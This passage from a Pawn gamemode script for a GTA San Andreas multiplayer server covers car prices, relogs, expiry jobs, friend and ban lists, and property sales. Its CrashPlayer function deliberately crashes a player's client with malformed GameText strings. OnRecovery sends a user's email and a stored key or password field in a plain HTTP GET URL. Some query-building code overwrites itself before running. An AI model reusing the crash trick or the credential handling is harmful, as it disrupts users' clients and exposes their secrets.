		  case 78: { IWantCar[playerid] = 567; PriceCar[playerid] = 1955000; VehModKharid[playerid] = 0;}
		  case 79: { IWantCar[playerid] = 506; PriceCar[playerid] = 1997000; VehModKharid[playerid] = 0;}
		  case 80: { IWantCar[playerid] = 487; PriceCar[playerid] = 2055000; VehModKharid[playerid] = 2; }
		  case 81: { IWantCar[playerid] = 495; PriceCar[playerid] = 2080000; VehModKharid[playerid] = 0;}
		  case 82: { IWantCar[playerid] = 402; PriceCar[playerid] = 2100000; VehModKharid[playerid] = 0;}
		  case 83: { IWantCar[playerid] = 559; PriceCar[playerid] = 2355000; VehModKharid[playerid] = 0;}
		  case 84: { IWantCar[playerid] = 480; PriceCar[playerid] = 2699000; VehModKharid[playerid] = 0;}
		  case 85: { IWantCar[playerid] = 560; PriceCar[playerid] = 2830000; VehModKharid[playerid] = 0;}
		  case 86: { IWantCar[playerid] = 562; PriceCar[playerid] = 2940000; VehModKharid[playerid] = 0;}
		  case 87: { IWantCar[playerid] = 415; PriceCar[playerid] = 3860000; VehModKharid[playerid] = 0;}
		  case 88: { IWantCar[playerid] = 451; PriceCar[playerid] = 3910000; VehModKharid[playerid] = 0;}
		  case 89: { IWantCar[playerid] = 522; PriceCar[playerid] = 3940000; VehModKharid[playerid] = 0;}
		  case 90: { IWantCar[playerid] = 429; PriceCar[playerid] = 4950000; VehModKharid[playerid] = 0;}
		  case 91: { IWantCar[playerid] = 541; PriceCar[playerid] = 5115000; VehModKharid[playerid] = 0;}
		  case 92: { IWantCar[playerid] = 411; PriceCar[playerid] = 5250000; VehModKharid[playerid] = 0;}
			case 93: { IWantCar[playerid] = 494; PriceCar[playerid] = 8000000; VehModKharid[playerid] = 0;}
			case 94: { IWantCar[playerid] = 502; PriceCar[playerid] = 8000000; VehModKharid[playerid] = 0;}
			case 95: { IWantCar[playerid] = 503; PriceCar[playerid] = 8000000; VehModKharid[playerid] = 0;}
			case 96: { IWantCar[playerid] = 444; PriceCar[playerid] = 8000000; VehModKharid[playerid] = 0;}
			case 97: { IWantCar[playerid] = 556; PriceCar[playerid] = 8000000; VehModKharid[playerid] = 0;}
			case 98: { IWantCar[playerid] = 557; PriceCar[playerid] = 8000000; VehModKharid[playerid] = 0;}

			//case 99: { IWantCar[playerid] = 564; PriceCar[playerid] = 3000000; VehModKharid[playerid] = 0;}
			//case 100: { IWantCar[playerid] = 441; PriceCar[playerid] = 3000000; VehModKharid[playerid] = 0;}
			//case 101: { IWantCar[playerid] = 465; PriceCar[playerid] = 3000000; VehModKharid[playerid] = 0;}
			//case 102: { IWantCar[playerid] = 501; PriceCar[playerid] = 3000000; VehModKharid[playerid] = 0;}
			//case 103: { IWantCar[playerid] = 464; PriceCar[playerid] = 10000000; VehModKharid[playerid] = 0;}
}
HalKon(playerid, IWantCar[playerid]);
}
HalKon(playerid, id) {
new Float:x,Float:y,Float:z;
GetPlayerPos(playerid, x, y, z);
vhid[playerid] = CreateVehicle(id, -1951.861694,261.092132,35.555885, 52.807670, 1, 5, -1);
new string[512];
new vehicless = GetVehicleModel(vhid[playerid]) - 400;
format(string, sizeof(string), "Model:_%s", aVehicleNames[vehicless]);
new pr[512];
format(pr, sizeof(pr), "Price:_%s$", FormatNumber(PriceCar[playerid]));

PlayerTextDrawSetString(playerid, PriceModel[playerid], pr);
PlayerTextDrawSetString(playerid, CarModel[playerid], string);
if(playerid == 0) {
SetVehicleVirtualWorld(vhid[playerid], 10000);
LockEngine[vhid[playerid]] = true;
}
else {
SetVehicleVirtualWorld(vhid[playerid], playerid);
}
PutPlayerInVehicle(playerid, vhid[playerid], 0);
}
ChangeRot(playerid, id) {
if(id == 0) {
SetVehicleZAngle(vhid[playerid], 52.807670)
}
else if(id == 1) {
SetVehicleZAngle(vhid[playerid], 359.454284);
}
else if(id == 2) {
SetVehicleZAngle(vhid[playerid], 314.798553);
}
else if(id == 3) {
SetVehicleZAngle(vhid[playerid], 271.906097);
}
else if(id == 4) {
SetVehicleZAngle(vhid[playerid], 223.725540);
}
else if(id == 5) {
SetVehicleZAngle(vhid[playerid], 182.008193);
}
else if(id == 6) {
SetVehicleZAngle(vhid[playerid], 129.714614);
}
else if(id == 7) {
SetVehicleZAngle(vhid[playerid], 87.997268);
}
}
/*
ElameBarande()
{
	for(new i = 0;i<40;i++) {
	new query[ 512 ];
	mysql_format(handle, query,512,"SELECT * FROM `sprays` WHERE `sClan` = '%d'", i);
	mysql_function_query(handle,query,true,"OnElamW","i",i);
	}
	return 1;
}
*/
RelogPlayer(playerid)// Public relog
{
	SaveAccounts();
	new BitStream:bs = BS_New();
	BS_WriteInt8(bs,33);
	BS_Send(bs, playerid);
	SetTimerEx("relogkick", 20, 0, "d", playerid);
	PlayerInfo[playerid][pRelog] = 1;
	SaveKonVal(playerid, "pRelog", 1);
	new strchat[180];
	format(strchat, sizeof(strchat), "%s has left the game (relog)", PlayerInfo[playerid][pName]);
	ProxDetector(30.0, playerid, strchat, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
	SendAdminMessage3(0xBFC0C2FF, strchat);
}
RelogPlayer2(playerid)// Silent relog
{
	SaveAccounts();
	new BitStream:bs = BS_New();
	BS_WriteInt8(bs,33);
	BS_Send(bs, playerid);
	SetTimerEx("relogkick", 20, 0, "d", playerid);
	PlayerInfo[playerid][pRelog] = 1;
	SaveKonVal(playerid, "pRelog", 1);
}
RelogPlayer3(playerid)// Just proxdetector warn
{
	SaveAccounts();
	new BitStream:bs = BS_New();
	BS_WriteInt8(bs,33);
	BS_Send(bs, playerid);
	SetTimerEx("relogkick", 20, 0, "d", playerid);
	PlayerInfo[playerid][pRelog] = 1;
	SaveKonVal(playerid, "pRelog", 1);
	new strchat[180];
	format(strchat, sizeof(strchat), "%s has left the game (relog)", PlayerInfo[playerid][pName]);
	ProxDetector(30.0, playerid, strchat, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
}
RelogPlayer4(playerid)// Just adminwarn
{
	SaveAccounts();
	new BitStream:bs = BS_New();
	BS_WriteInt8(bs,33);
	BS_Send(bs, playerid);
	SetTimerEx("relogkick", 20, 0, "d", playerid);
	PlayerInfo[playerid][pRelog] = 1;
	SaveKonVal(playerid, "pRelog", 1);
	new strchat[180];
	format(strchat, sizeof(strchat), "%s has left the game (relog)", PlayerInfo[playerid][pName]);
	SendAdminMessage3(0xBFC0C2FF, strchat);
}
RelogPlayerCheat(playerid)// Relog for cheating
{
	SaveAccounts();
	new BitStream:bs = BS_New();
	BS_WriteInt8(bs,33);
	BS_Send(bs, playerid);
	SetTimerEx("relogkick", 20, 0, "d", playerid);
	PlayerInfo[playerid][pRelog] = 1;
	SaveKonVal(playerid, "pRelog", 1);
	new strchat[144];
	if(ImDrived[playerid]==0)
	{
	format(strchat, sizeof(strchat), "[Admin-Warn]:{ffffff} AntiCheat kicked %s(%i) due to cheating.", PlayerInfo[playerid][pName], playerid);
	SendAdminMessage3(COLOR_AdminWarn, strchat);
	}
	else
	{
	format(strchat, sizeof(strchat), "[Admin-Warn]:{ffffff} %s(%i) is suspicious for using Car Shooter or Teleport Hack between vehicles. (Relogged)", PlayerInfo[playerid][pName], playerid);
	SendAdminMessage3(COLOR_AdminWarn, strchat);
	}
}
SetToWaitingToJoin(playerid)// (by: Sina)
{
SetPlayerCameraPos(playerid, 1231.4750, -1602.1633, 153.0340);
SetPlayerCameraLookAt(playerid, 1384.4410, -900.1741, 98.9062);
InterpolateCameraLookAt(playerid, 1231.4750, -1602.1633, 153.0340, 1384.4410, -900.1741, 98.9062, 20000, CAMERA_MOVE);
InterpolateCameraPos(playerid, 1231.4750, -1602.1633, 153.0340, 1384.4410, -900.1741, 98.9062, 25000, CAMERA_MOVE);
}
CrashPlayer(playerid)// (by: Sina)
{
	new intcheck;
	intcheck = GetPlayerInterior(playerid);
	SetPlayerInterior(playerid, intcheck);
	SetPlayerInterior(playerid, 5);
	SetPlayerVirtualWorld(playerid, 5);
	//---------
	GameTextForPlayer(playerid, "!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 1000, 0);
	GameTextForPlayer(playerid, "!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 2000, 1);
	GameTextForPlayer(playerid, "!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 3000, 2);
	GameTextForPlayer(playerid, "!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 4000, 3);
	GameTextForPlayer(playerid, "!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 5000, 4);
	GameTextForPlayer(playerid, "!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 6000, 5);
	GameTextForPlayer(playerid, "!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 7000, 6);
	GameTextForPlayer(playerid, "!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 12000, 6);
	//---------
}
/*
forward OnElamW(clan);
public OnElamW(clan) {
new rows = cache_get_row_count(handle);

		AdadClan[clan] = rows;

}
*/
forward FixCC();
public FixCC() {
for(new c = 0;c < 50;c++) {
if(DynamicClans[c][cExpire] > 0) {
DynamicClans[c][cExpire] -= 1;
SaveKonValC(c, "cExpire", DynamicClans[c][cExpire]);
		// New Activity by SiNaGaMeR har shab saat 12:00 be bad hame pact haro set mikone 0
	   new query[512];
	   // Admins Activity
	   mysql_format(handle, query,512,"UPDATE `users` SET pActA='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   // Helpers Activity
	   mysql_format(handle, query,512,"UPDATE `users` SET pActH='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   // Leaders Acitivity
	   mysql_format(handle, query,512,"UPDATE `users` SET pActL='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
}
}
for(new i = 0;i<Akharish;i++) {
if(PINFO[i][pClan] != 0 && DynamicClans[PINFO[i][pClan]-1][cExpire] == 0) {
SCM(i, COLOR_RED, "{FF0000}Warning: {FFFF00}your clan date has been expired.");
SCM(i, COLOR_RED, "{FF0000}Warning: {FFFF00}you should use /cresign to left the clan.");
GetPlayerTag(i);
}
}
}
/*
FixSol()
{
	new query[ 512 ];
	mysql_format(handle, query,512,"SELECT * FROM `users` WHERE `pSoldier` > '0'");
	mysql_function_query(handle,query,true,"FixSolD","");



	return 1;
}
forward FixSolD();
public FixSolD() {
	new rows = cache_get_row_count(handle);
	for(new i = 0;i<rows;i++) {
	new tarafname[40];

	cache_get_row(i,0,tarafname,handle,40);
	new tarafid = ReturnUser2(tarafname);
	if(IsPlayerConnected(tarafid)) {
	PINFO[tarafid][pSoldier] -= 1;
	if(PINFO[tarafid][pSoldier] == 0) {
	PINFO[tarafid][pCard] = 1;
	SaveKonVal(tarafid, "pCard", 1);
	SCM(tarafid, COLOR_RED, "{FFFF00}Your soldier ship has been finished.");
	SCM(tarafid, COLOR_RED, "{FFFF00}You have soldier finish card now.");
	SCM(tarafid, COLOR_RED, "{FFFF00}You earned 30,000$ for prize.");
	PlayerInfo[tarafid][cSkin] = 250;
	SaveKonVal(tarafid, "cSkin", 250);
	SetPlayerSkin(tarafid, PINFO[tarafid][cSkin]);
	new string[512];
	format(string, sizeof(string), "[BASE]: Player %s gots finish card.", PINFO[tarafid][pName]);
	SendSolMessage(COLOR_SSH, string);
	MedicBill[tarafid] = 0;
	ResetPlayerKolang(tarafid);
	SetSpawnKol(tarafid);
	SpawnPlayer(tarafid);
	GivePlayerPool(tarafid, 30000);
	}
	}
	}

	new query[512];
	mysql_format(handle, query,512,"UPDATE `users` SET `pCard` = '2' WHERE `pSoldier` = '0' AND `pCard` = '3' AND `pOnline` = '0'");
	mysql_tquery(handle, query, "SendQuery", "");

	mysql_format(handle, query,512,"UPDATE `users` SET pCash=pCash+'30000' WHERE `pSoldier` = '0' AND `pCard` = '3' AND `pOnline` = '0'");
	mysql_function_query(handle,query,false,"SendQuery","");


	print("Update Soldiership.");
}
*/
FixDay()
{
	new query[ 512 ];
	mysql_format(handle, query,512,"SELECT * FROM `users` WHERE `pPDay` > '0' AND `pPDay` != '9999'");
	mysql_format(handle, query,512,"SELECT * FROM `users` WHERE `pHDay` > '0' AND `pHDay` != '9999'");
	mysql_function_query(handle,query,true,"FixDayP","");
			// New Activity by SiNaGaMeR har shab saat 12:00 be bad hame pact haro set mikone 0
	   // Admins Activity
	   mysql_format(handle, query,512,"UPDATE `users` SET pActA='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   // Helpers Activity
	   mysql_format(handle, query,512,"UPDATE `users` SET pActH='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   // Leaders Acitivity
	   mysql_format(handle, query,512,"UPDATE `users` SET pActL='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");



	return 1;
}
forward FixDayP();
public FixDayP() {
	new rows = cache_get_row_count(handle);
	for(new i = 0;i<rows;i++) {
	new tarafname[40];

	cache_get_row(i,0,tarafname,handle,40);
	new tarafid = ReturnUser2(tarafname);
	if(IsPlayerConnected(tarafid)) {
	PINFO[tarafid][pPDay] -= 1;
	if(PINFO[tarafid][pPDay] == 0) {
	PINFO[tarafid][pPremiumAccount] = 0;
	SaveKonVal(tarafid, "pPremiumAccount", 0);
	SCM(tarafid, COLOR_RED, "{FF0000}Warning: {FFFF00}your premium account date has been expired.");
	}
	if(PINFO[tarafid][pHDay] == 0 && PINFO[tarafid][pAdmin] == 7) {
	PINFO[tarafid][pAdmin] = 0;
	SaveKonVal(tarafid, "pAdmin", 0);
	PINFO[tarafid][pHelper] = 0;
	SaveKonVal(tarafid, "pHelper", 0);
	SCM(tarafid, COLOR_RED, "{FF0000}Warning: {FFFF00}Your Hoster date has been expired.");
	}
	if(PINFO[tarafid][pHDay] == 0 && PINFO[tarafid][pAdmin] == 8) {
	PINFO[tarafid][pAdmin] = 0;
	SaveKonVal(tarafid, "pAdmin", 0);
	PINFO[tarafid][pHelper] = 0;
	SaveKonVal(tarafid, "pHelper", 0);
	SCM(tarafid, COLOR_RED, "{FF0000}Warning: {FFFF00}Your Hoster date has been expired.");
	}
	if(PINFO[tarafid][pHDay] == 0 && PINFO[tarafid][pAdmin] == 9) {
	PINFO[tarafid][pAdmin] = 0;
	SaveKonVal(tarafid, "pAdmin", 0);
	PINFO[tarafid][pHelper] = 0;
	SaveKonVal(tarafid, "pHelper", 0);
	SCM(tarafid, COLOR_RED, "{FF0000}Warning: {FFFF00}Your Hoster date has been expired.");
	}
			// New Activity by SiNaGaMeR har shab saat 12:00 be bad hame pact haro set mikone 0
	   new query[512];
	   // Admins Activity
	   mysql_format(handle, query,512,"UPDATE `users` SET pActA='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   // Helpers Activity
	   mysql_format(handle, query,512,"UPDATE `users` SET pActH='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   // Leaders Acitivity
	   mysql_format(handle, query,512,"UPDATE `users` SET pActL='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	}
	}
	new query[512];
	mysql_format(handle, query,512,"UPDATE `users` SET `pPDay` = '9999' WHERE `pPDay` = '0' AND `pPremiumAccount` != '0' AND `pOnline` = '0'");
	mysql_format(handle, query,512,"UPDATE `users` SET `pHDay` = '9999' WHERE `pHDay` = '0' AND `pHDay` != '0' AND `pOnline` = '0'");
	mysql_format(handle, query,512,"UPDATE `users` SET `pSDay` = '9999' WHERE `pSDay` = '0' AND `pSDay` != '0' AND `pOnline` = '0'");
	mysql_tquery(handle, query, "SendQuery", "");
	print("Time is now 00:00.");
	if(ExpireToggle == 1 && ExpireDays >= 1) printf("%d days left to server expire.", ExpireDays);
			// New Activity by SiNaGaMeR har shab saat 12:00 be bad hame pact haro set mikone 0
	   // Admins Activity
	   mysql_format(handle, query,512,"UPDATE `users` SET pActA='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   // Helpers Activity
	   mysql_format(handle, query,512,"UPDATE `users` SET pActH='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   // Leaders Acitivity
	   mysql_format(handle, query,512,"UPDATE `users` SET pActL='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
}
/*
BedePool()
{
	new query[ 512 ];
	mysql_format(handle, query,512,"SELECT * FROM `users` WHERE `pClan` = '%d'", Barande);
	mysql_function_query(handle,query,true,"BedePool2","");
	return 1;
}
*/
/*
forward BedePool2();
public BedePool2() {
	new rows = cache_get_row_count(handle);
	for(new i = 0;i<rows;i++) {
	new tarafname[40];

	cache_get_row(i,0,tarafname,handle,40);
	new tarafid = ReturnUser2(tarafname);
	if(IsPlayerConnected(tarafid) && AFK[tarafid] == 0) {
	GivePlayerPool(tarafid, 10000);
	SCM(tarafid, COLOR_YELLOW, "You earned $10,000 for clan spray war prize.");
	}
	else if(IsPlayerConnected(tarafid) && AFK[tarafid] == 1) {
	GivePlayerPool(tarafid, 5000);
	SCM(tarafid, COLOR_YELLOW, "You earned $5,000 for clan spray war prize.");
	}
	else {
	new query[256];
	mysql_format(handle, query,256,"UPDATE `users` SET pCash=pCash+'2000' WHERE pName='%e'",tarafname);
	mysql_function_query(handle,query,false,"SendQuery","");
	}
	}
}
*/
stock BefresRamz(playerid, input[])
{
	new query[ 512 ];
	mysql_format(handle, query,512,"SELECT * FROM `users` WHERE pName='%e'",input);
	mysql_function_query(handle,query,true,"OnRecovery","is",playerid,input);
	return 1;
}
forward OnRecovery(playerid, input[]);
public OnRecovery(playerid, input[])
{

		new rows = cache_get_row_count(handle);
	   if(rows == 0) return SCM(playerid, COLOR_YELLOW2, "Error: player is not exist.");
		if(rows > 1) return SCM(playerid, COLOR_YELLOW2, "Error: multipe player by this name.");
//		new sqlid;
	   for(new i = 0;i<rows;i++)
	   {
		  new tarafname[40];
			new mail[100];
			new pkey[130];

		  cache_get_row(i,0,tarafname,handle,40);
		  cache_get_row(i,75,mail,handle,100);
			cache_get_row(i,1,pkey,handle,100);
			new string[512];
			format(string,sizeof(string), "%s/emm.php?eml=%e&msg=%e&n=%e",SV_LINK,mail,pkey,tarafname);//Format request URL to PHP file we made before
			//As you can see url contains code which is used later in PHP file we made
			HTTP(playerid, HTTP_GET,string, " ", "EmailDelivered");//Sends a request to test.php file

	   }
	   return 1;
}
SMSBezan(playerid, input[])
{
	new query[ 512 ];
	mysql_format(handle, query,512,"SELECT * FROM `friends` WHERE pID='%d' AND pName='%e'",Sqlf[playerid],PINFO[playerid][pName]);
	mysql_function_query(handle,query,true,"OnSMSBezan","is",playerid,input);
	return 1;
}
forward OnSMSBezan(playerid, input[]);
public OnSMSBezan(playerid, input[])
{

		new rows = cache_get_row_count(handle);
	   if(rows == 0) return SCM(playerid, COLOR_YELLOW2, "Error: error #1201 , speak with admins.");
//		new sqlid;
	   for(new i = 0;i<rows;i++)
	   {
		  new tarafname[40];

		  cache_get_row(i,2,tarafname,handle,40);
//			sqlid = cache_get_row_int(i,0,handle);
		  new tarafid = ReturnUser2(tarafname);

			new call[40];
			format(call, 40, "/sms %i %s", PINFO[tarafid][pPnumber], input);
			OnPlayerCommandText(playerid, call);

	   }
	   return 1;
}
forward OnBegirFriends(playerid);
public OnBegirFriends(playerid)
{

	new rows = cache_get_row_count(handle);
	   //if(Wait[playerid] == 1) return SCM(playerid, COLOR_LIGHTRED, "Please wait for proccesing data and try again.")
	   if(rows == 0) return ShowPlayerDialog(playerid, 2159, DIALOG_STYLE_LIST, "Friends List", "Add a friend", "Select", "Cancel");
		new str[256];
		new f;
		new strlol[1000];
		new sqlid;
	   for(new i = 0;i<rows;i++)
	   {
		  new tarafname[40];

		  cache_get_row(i,2,tarafname,handle,40);
			sqlid = cache_get_row_int(i,0,handle);
		  new tarafid = ReturnUser2(tarafname);

		  if(IsPlayerConnected(tarafid) && gPlayerLogged[tarafid] == 1)
		  {
				new c = PlayerInfo[tarafid][pClan];

				if(AFK[tarafid] == 0) {

				if(PlayerInfo[tarafid][pClan] == 0) {
				format(str, 256,"{00FF09}%s (%d) \t\n",tarafname,tarafid);
				strcat(strlol, str, 1000);
				fInfo[sqlid][pOnline] = 1;
				SaveKonValF(sqlid, "pOnline", 1);
				}

				else if(PlayerInfo[tarafid][pClan] != 0 && DynamicClans[c-1][cBB] == 1) {
				format(str, 256,"{00FF09}{%s}[%s]{00FF09}%s (%d) \t\n",DynamicClans[c-1][cColor],DynamicClans[c-1][cTag],tarafname,tarafid);
				strcat(strlol, str, 1000);
				fInfo[sqlid][pOnline] = 1;
				SaveKonValF(sqlid, "pOnline", 1);
				}

				else if(PlayerInfo[tarafid][pClan] != 0 && DynamicClans[c-1][cBB] == 2) {
				format(str, 256,"{00FF09}{00FF09}%s{%s}[%s]{00FF09} (%d) \t\n",tarafname,DynamicClans[c-1][cColor],DynamicClans[c-1][cTag],tarafid);
				strcat(strlol, str, 1000);
				fInfo[sqlid][pOnline] = 1;
				SaveKonValF(sqlid, "pOnline", 1);
				}

				}

				else {

				if(PlayerInfo[tarafid][pClan] == 0) {
				format(str, 256,"{FAF38A}%s (%d) \t\n",tarafname,tarafid);
				strcat(strlol, str, 1000);
				fInfo[sqlid][pOnline] = 1;
				SaveKonValF(sqlid, "pOnline", 1);
				}

				else if(PlayerInfo[tarafid][pClan] != 0 && DynamicClans[c-1][cBB] == 1) {
				format(str, 256,"{00FF09}{%s}[%s]{FAF38A}%s (%d) \t\n",DynamicClans[c-1][cColor],DynamicClans[c-1][cTag],tarafname,tarafid);
				strcat(strlol, str, 1000);
				fInfo[sqlid][pOnline] = 1;
				SaveKonValF(sqlid, "pOnline", 1);
				}

				else if(PlayerInfo[tarafid][pClan] != 0 && DynamicClans[c-1][cBB] == 2) {
				format(str, 256,"{00FF09}{FAF38A}%s{%s}[%s]{FAF38A} (%d) \t\n",tarafname,DynamicClans[c-1][cColor],DynamicClans[c-1][cTag],tarafid);
				strcat(strlol, str, 1000);
				fInfo[sqlid][pOnline] = 1;
				SaveKonValF(sqlid, "pOnline", 1);
				}

				}
				FDLG[playerid][f] = sqlid;

			 f ++;

				//Sqlf[playerid] = sqlid;
		  }

		  else
		  {
			 format(str, 256,"{FF0000}%s \t\n",tarafname);
				strcat(strlol, str, 1000);
				fInfo[sqlid][pOnline] = 0;
				SaveKonValF(sqlid, "pOnline", 0);

			 FDLG[playerid][f] = sqlid;
			 f ++;

		  }

	   }

		new strr[2000];
		format(strr, sizeof(strr), "Add a friend \t\n%s",strlol);

		new onl[40];
		format(onl, sizeof(onl), "Online Friends: %d/%d", CountF[playerid], KolFriends[playerid]);

		ShowPlayerDialog(playerid, 2159, DIALOG_STYLE_LIST, onl, strr, "Select", "Cancel");
	   return 1;
}
forward OnRentersNeshoonMide(playerid);
public OnRentersNeshoonMide(playerid)
{
	SCM(playerid,CRISTIAN,"|__________<Renters>__________|");
	new
	   string[512], rows = cache_get_row_count(handle);
	   if(rows == 0) return SCM(playerid,COLOR_LIGHTRED,"** Nobody rent your house in server **");
	   for(new i = 0;i<rows;i++)
	   {
		  new tarafname[40];
		  cache_get_row(i,0,tarafname,handle,40);
		  new tarafid = ReturnUser2(tarafname);
		  if(IsPlayerConnected(tarafid) && gPlayerLogged[tarafid] == 1)
		  {
			 format(string,512,"RenterName: %s Status: {00FF00}Online",tarafname);
		  }
		  else
		  {
			 format(string,512,"RenterName: %s Status: {FF0000}Offline",tarafname);
		  }
		  SCM(playerid,COLOR_SINA3,string);
	   }
	   if(rows == 1)
	   {
		  format(string,512,"There is 1 Renter of home.");
	   }
	   if(rows >= 2)
	   {
		  format(string,512,"There are %d Renters of home.",rows);
	   }
	   SCM(playerid,COLOR_MAMAD,string);
	   return 1;
}

forward OnBansNeshoonMide(playerid);
public OnBansNeshoonMide(playerid)
{
	new strlol[2000],strlol2[256];
	new banreason[128],bannedby[40],bandays;
	new rows = cache_get_row_count(handle);
	   if(rows == 0) return SCM(playerid,COLOR_LIGHTRED,"There is no banned player.");
	   for(new i = 0;i<rows;i++)
	   {
		  new tarafname[40];
		  cache_get_row(i,0,tarafname,handle,40);
			new banned = cache_get_row_int(i,76,handle);
			cache_get_row(i,78,banreason,handle,128);
			cache_get_row(i,79,bannedby,handle,40);
			bandays = cache_get_row_int(i, 124, handle);

			if(banned == 2) {
			format(strlol2, 256,"%s, banned by: %s, Reason: %s, permanently\n",tarafname,bannedby,banreason);
			}
			else if(banned == 1) {
			format(strlol2, 256,"%s, banned by %s , Reason: %s, %d days\n",tarafname,bannedby,banreason,bandays);
			}
			else if(banned == 3) {
			format(strlol2, 256,"%s, banned by %s , Reason: %s, suspend\n",tarafname,bannedby,banreason,bandays);
			}
		  strcat(strlol, strlol2, 2000);

	   }
		ShowPlayerDialog(playerid, 21585, DIALOG_STYLE_MSGBOX, "[Banneds List]", strlol, "Done", "");
	   return 1;
}
SellOfflinePlayerHouse(playerid,h)
{
					new query[512],sendername[MAX_PLAYER_NAME];
					mysql_format(handle, query,512,"UPDATE `users` SET pPhousekey='9999',pAccount=pAccount+'%d' WHERE pName='%e'",HouseInfo[h][hForosh],HouseInfo[h][hOwner]);
					mysql_function_query(handle,query,false,"SendQuery","");
					PlayerInfo[playerid][pPhousekey] = h;
					SaveKonVal(playerid, "pPhousekey", h);
					PlayerInfo[playerid][pRented] = 0;
					SaveKonVal(playerid, "pRented", 0);
					HouseInfo[h][hOwned] = 1;
					SaveKonValH(h, "hOwned", 1);
					GetPlayerName(playerid, sendername, sizeof(sendername));
					strmid(HouseInfo[h][hOwner], sendername, 0, strlen(sendername), 255);
					SaveKonStrH(h, "hOwner", sendername);
					GivePlayerPool(playerid,-HouseInfo[h][hForosh]);
					PlayerPlayMusic(playerid);
					SetPlayerInterior(playerid,HouseInfo[h][hInt]);
					SetPlayerVirtualWorld(playerid,HouseInfo[h][hWorld]);
					SetPlayerPos(playerid,HouseInfo[h][hEntrancex],HouseInfo[h][hEntrancey],HouseInfo[h][hEntrancez]);
					SetPlayerMapIcon(playerid,30,HouseInfo[h][hExitx],HouseInfo[h][hExity],HouseInfo[h][hExitz],31,COLOR_LIGHTRED);
					TooHouse[playerid] = h;
					GameTextForPlayer(playerid, "~w~Welcome Home~n~You can exit at any time by moving to this door and Type /enter", 5000, 3);
					SendMessage(playerid, COLOR_GRAD1, "Congratulations with home");
					SendMessage(playerid, COLOR_GRAD2, "Type /househelp to view house commands.");
					//SaveAccount(playerid);
					Mahal[playerid] = 3;
				TooBiz[playerid] = 9999;
return 1;
}
SellOfflinePlayerBiz(playerid,b)
{
	new query[512];
	mysql_format(handle, query,512,"UPDATE `users` SET pPbiskey='9999',pAccount=pAccount+'%i' WHERE pName='%e'",BizzInfo[b][bForosh],BizzInfo[b][bOwner]);
	mysql_function_query(handle,query,false,"SendQuery","");
	PINFO[playerid][pPbiskey] = b;
	SaveKonVal(playerid, "pPbiskey", b);
	BizzInfo[b][bOwned] = 1;
	strmid(BizzInfo[b][bOwner],PINFO[playerid][pName],0,strlen(PINFO[playerid][pName]),40);
	GivePlayerPool(playerid,-BizzInfo[b][bForosh]);
	PlayerPlayMusic(playerid);
	SetPlayerInterior(playerid,BizzInfo[b][bInterior]);
	SetPlayerPos(playerid,BizzInfo[b][bExitX],BizzInfo[b][bExitY],BizzInfo[b][bExitZ]);
	TooBiz[playerid] = b;
	SetPlayerVirtualWorld(playerid,BizzInfo[b][bVW]);
	GameTextForPlayer(playerid, "~w~Welcome~n~You can exit at any time by moving to this door and Type /enter", 5000, 3);
	Mahal[playerid] = 15;
	TooHouse[playerid] = 9999;
	SendMessage(playerid, COLOR_WHITE, "Congratulations, On Your New Purchase.");
	SendMessage(playerid, COLOR_WHITE, "Type /help to review the new business help section.");
	OnBizUpdate(b);
	//SaveAccount(playerid);
	return 1;
}
SellOfflinePlayerSBiz(playerid,i)
{
	new query[512];
	mysql_format(handle, query,512,"UPDATE `users` SET pPbiskey='9999',pAccount=pAccount+'%i' WHERE pName='%e'",SBizzInfo[i][sbForosh],SBizzInfo[i][sbOwner]);
	mysql_function_query(handle,query,false,"SendQuery","");
	GivePlayerPool(playerid,-SBizzInfo[i][sbForosh]);
	PlayerInfo[playerid][pPbiskey] = i+500;
	SaveKonVal(playerid, "pPbiskey", PINFO[playerid][pPbiskey]);
	SBizzInfo[i][sbOwned] = 1;
	strmid(SBizzInfo[i][sbOwner], PINFO[playerid][pName], 0, strlen(PINFO[playerid][pName]), 255);
	PlayerPlayMusic(playerid);
	SendMessage(playerid, COLOR_WHITE, "Congratulations, On Your New Purchase.");
	SendMessage(playerid, COLOR_WHITE, "Type /help to review the new business help section.");
	OnSbizUpdate(i);
	//SaveAccount(playerid);
	return 1;
}


PlayerIsAFKDetected(playerid)
{
	if(FCNPC_IsValid(playerid)) return 0;
	if(PINFO[playerid][pAdmin] >= 7 || IsMulti[playerid] == 1 || InSleep[playerid] == 1) return 0;
	new
	   string[512];
	format(string,512,"%s was kicked by AdmBot, reason: AFK without sleep longer than %d minutes",PINFO[playerid][pName],AFKTimeOnSV);
	SendClientMessageToAll(COLOR_LIGHTRED,string);
	format(string,512,"You have been kicked, reason: AFK without sleep longer than %d minutes",AFKTimeOnSV);
	KickWithMessage(playerid,COLOR_LIGHTRED,string);
	return 1;
}

WantedAFKDetected(playerid)
{
	if(FCNPC_IsValid(playerid)) return 0;
	if(PINFO[playerid][pAdmin] >= 7 || IsMulti[playerid] == 1) return 0;
	new
	   string[512];
	format(string,512,"%s was kicked by AdmBot, reason: AFK On Wanted longer than 5 minutes",PINFO[playerid][pName]);
	SendClientMessageToAll(COLOR_LIGHTRED,string);
